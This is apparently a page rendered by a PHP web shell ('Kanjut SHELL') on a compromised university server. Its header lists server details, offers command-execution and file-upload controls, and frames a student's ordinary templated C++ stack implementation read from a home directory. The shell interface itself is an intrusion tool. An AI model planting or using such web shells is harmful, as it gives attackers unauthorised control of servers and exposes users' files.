Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.255.116
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/stackarray.cpp
// Implementation file for Stack ADT.
// Class definition is in "stackarray.h"

// Class is templated.
// 

//---------------------------------------------------------------------------
// Stack Constructor - initializes an empty stack
//---------------------------------------------------------------------------

template<class ItemType>
StackType<ItemType>::StackType()
{
    top = -1;
}

//---------------------------------------------------------------------------
// IsEmpty - tests for empty stack
//---------------------------------------------------------------------------
// Returns true if empty, false otherwise
//---------------------------------------------------------------------------

template<class ItemType>
bool StackType<ItemType>::IsEmpty() const
{
    return (top == -1);
}

//---------------------------------------------------------------------------
// IsFull - tests for empty stack
//---------------------------------------------------------------------------
// Returns:   true if full, false otherwise
//---------------------------------------------------------------------------

template<class ItemType>
bool StackType<ItemType>::IsFull() const
{
    return (top == MAXSTACK - 1);
}

//---------------------------------------------------------------------------
// Push - adds item to top of stack
//---------------------------------------------------------------------------
// Accepts:   Item to be added
//---------------------------------------------------------------------------

template<class ItemType>
void StackType<ItemType>::Push(ItemType newItem)
{
    if (!IsFull())
    {
        top++;
        items[top] = newItem;
    }
    else
        cout << "Error - Pushing " << newItem << " onto full stack!";
}

//---------------------------------------------------------------------------
// Pop - removes top item from stack
//---------------------------------------------------------------------------

template<class ItemType>
void StackType<ItemType>::Pop()
{
    if (!IsEmpty())
        top--;
    else
        cout << "Error - Popping an empty stack!";
}

//---------------------------------------------------------------------------
// Top - shows copy of top stack item leaving stack structure intact
//---------------------------------------------------------------------------
// Returns:   copy of top item
//---------------------------------------------------------------------------

template<class ItemType>
ItemType StackType<ItemType>::Top()
{

    if (!IsEmpty())
        return items[top];
    else
        cout << "Error - Viewing top of empty stack - returned item ??";
}

//---------------------------------------------------------------------------
// CopyNth - shows copy of item located in Nth position from top of the stack
//---------------------------------------------------------------------------
// Accepts:  the position of the item
// Returns:  copy of item at Nth position from top
//---------------------------------------------------------------------------

template<class ItemType>
void StackType<ItemType>::CopyNth(int N, ItemType& copyitem)
{
	int index=0;

	if(!IsEmpty())
	{	
		index= -N+top+1; // location of Nth number
		copyitem=items[index]; // store value of Nth number
	 
	}


}

Stv3n404 - 2023